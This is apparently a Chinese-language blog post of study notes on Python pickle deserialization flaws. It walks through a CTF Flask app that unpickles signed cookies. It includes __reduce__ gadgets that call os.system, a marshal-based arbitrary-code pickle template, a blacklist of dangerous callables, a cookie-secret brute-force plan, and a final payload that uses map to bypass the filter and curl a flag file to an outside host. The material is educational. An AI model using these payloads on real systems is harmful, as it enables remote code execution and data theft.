python的一些安全问题（学习总结，更新中）

Posted 2020-12-27 wfzwebsecuity

1.python pickle反序列化漏洞

自己的理解：

　　由于在类的__reduce__方法中提供了我们可以自定义程序如何去解序列化的方法，因此如果应用程序接受了不可信任的序列化的数据，那么就可能导致安全问题。

import pickle
import os
class gen(object):
    def __reduce__(self):
        s = """dir"""
        return os.system, (s,)        

p = gen()
payload = pickle.dumps(p)
with open(‘payload.pkl‘, ‘wb‘) as f:
    f.write(payload)

以上这段代码中，要调用os模块的system函数来执行dir命令，其中reduce函数中的返回值中需要定义的有要调用的函数，需要传给函数的参数(以元组的形式给出)；

接着只需要将该对象实例化后再序列化即可

 

import pickle
‘‘‘
some code
‘‘‘
pickle.load(open(‘./payload.pkl‘))

‘‘‘
some code
‘‘‘

假设以上这段代码是服务器端处理反序列数据的时候的操作，其中没有将要调用的对象函数进行过滤，而是直接进行解序列化，导致代码执行 os.system("dir") 。

2.pickle任意代码执行

import marshal
import base64

def foo():
    pass # Your code here

print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S‘%s‘
tRtRc__builtin__
globals
(tRS‘‘
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))

我们只需要在foo函数中写上需要执行的代码即可。

code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), ‘‘)
func()

执行以上函数便可以触发任意代码执行漏洞

from __future__ import unicode_literals
from flask import Flask, request, make_response, redirect, url_for, session
from flask import render_template, flash, redirect, url_for, request
from werkzeug.security import safe_str_cmp
from base64 import b64decode as b64d
from base64 import b64encode as b64e
from hashlib import sha256
from cStringIO import StringIO
import random
import string

import os
import sys
import subprocess
import commands
import pickle
import cPickle
import marshal
import os.path
import filecmp
import glob
import linecache
import shutil
import dircache
import io
import timeit
import popen2
import code
import codeop
import pty
import posixfile

SECRET_KEY = ‘you will never guess‘

if not os.path.exists(‘.secret‘):
    with open(".secret", "w") as f:
        secret = ‘‘.join(random.choice(string.ascii_letters + string.digits)
                         for x in range(4))
        f.write(secret)
with open(".secret", "r") as f:
    cookie_secret = f.read().strip()

app = Flask(__name__)
app.config.from_object(__name__)

black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]


@app.before_request
def count():
    session[‘cnt‘] = 0


@app.route(‘/‘)
def home():
    remembered_str = ‘Hello, here‘s what we remember for you. And you can change, delete or extend it.‘
    new_str = ‘Hello fellow zombie, have you found a tasty brain and want to remember where? Go right here and enter it:‘
    location = getlocation()
    if location == False:
        return redirect(url_for("clear"))
    return render_template(‘index.html‘, txt=remembered_str, location=location)


@app.route(‘/clear‘)
def clear():
    print("Reminder cleared!")
    response = redirect(url_for(‘home‘))
    response.set_cookie(‘location‘, max_age=0)
    return response


@app.route(‘/reminder‘, methods=[‘POST‘, ‘GET‘])
def reminder():
    if request.method == ‘POST‘:
        location = request.form["reminder"]
        if location == ‘‘:
            print("Message cleared, tell us when you have found more brains.")
        else:
            print("We will remember where you find your brains.")
        location = b64e(pickle.dumps(location))
        cookie = make_cookie(location, cookie_secret)
        response = redirect(url_for(‘home‘))
        response.set_cookie(‘location‘, cookie)
        print ‘location‘
        return response
    location = getlocation()
    if location == False:
        return redirect(url_for("clear"))
    return render_template(‘reminder.html‘)


class FilterException(Exception):
    def __init__(self, value):
        super(FilterException, self).__init__(
            ‘The callable object {value} is not allowed‘.format(value=str(value)))


class TimesException(Exception):
    def __init__(self):
        super(TimesException, self).__init__(
            ‘Call func too many times!‘)


def _hook_call(func):
    def wrapper(*args, **kwargs):
        session[‘cnt‘] += 1
        print session[‘cnt‘]
        print args[0].stack
        for i in args[0].stack:
            if i in black_type_list:
                raise FilterException(args[0].stack[-2])
            if session[‘cnt‘] > 4:
                raise TimesException()
        return func(*args, **kwargs)
    return wrapper


def loads(strs):
    reload(pickle)
    files = StringIO(strs)
    unpkler = pickle.Unpickler(files)
    print strs,files,unpkler
    unpkler.dispatch[pickle.REDUCE] = _hook_call(
        unpkler.dispatch[pickle.REDUCE])
    return unpkler.load()


def getlocation():
    cookie = request.cookies.get(‘location‘)
    if not cookie:
        return ‘‘
    (digest, location) = cookie.split("!")
    print (digest, location),calc_digest(location, cookie_secret)
    if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
        print("Hey! This is not a valid cookie! Leave me alone.")

        return False
    location = loads(b64d(location))
    return location


def make_cookie(location, secret):
    return "%s!%s" % (calc_digest(location, secret), location)


def calc_digest(location, secret):
    return sha256("%s%s" % (location, secret)).hexdigest()



if __name__ == ‘__main__‘:

    app.run(host="0.0.0.0", port=5051)

以上面这道ctf题目为例子，可以看到当我们访问reminder页面时（post方法），首先会获取http头部的location属性，然后经过pickle序列化并进行base64编码，然后调用make_cookie函数用为用户设置cookie值，然后跳转到home页面

location = b64e(pickle.dumps(location))
cookie = make_cookie(location, cookie_secret)
response = redirect(url_for(‘home‘))
response.set_cookie(‘location‘, cookie)

当我们以get方法访问remainder页面时，此时调用getlocation()

def getlocation():
    cookie = request.cookies.get(‘location‘)
    if not cookie:
        return ‘‘
    (digest, location) = cookie.split("!")
    print (digest, location),calc_digest(location, cookie_secret)
    if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
        print("Hey! This is not a valid cookie! Leave me alone.")

        return False
    location = loads(b64d(location))
    return location

此时从cookie中获取location的值，此时会将location的值和密码再进行计算hash然后和从用户处获得的hash值进行比较，如果两者相同的话则说明身份正确。

由于我们是提前不知道密钥的值，并且已知密钥的长度为4,并且location是可控的，那么首先将payload通过post方法到remainder页面以后将会获得一个location的cookie值，此时包含了经过hash的密钥和location，又因为location是我们

已知的，所以可以在本地爆破四位密钥，因为我们最终要利用的是loads函数，它要接收的是一个经pickle序列化后的对象，所以我们必须在本地构造好cookie，所以才需要爆破密钥的值。

因此，构造一个任意的location，就能得到一个hash值，然后经过爆破以后得到密钥指，然后把payload的base64的值和密钥值hash以后组成cookie值get到readminer页面，触发序列化漏洞。

这里因为有黑名单过滤，所以可以使用map函数绕过

class Test(object):
    def __init__(self):
        self.a = 1
        self.b = ‘2‘
        self.c = ‘3‘
    def __reduce__(self):
        return map,(os.system,["curl h7x7ty.ceye.io/`cat /flag_is_here|base64`"])

aa = Test()
payload = b64e(pickle.dumps(aa))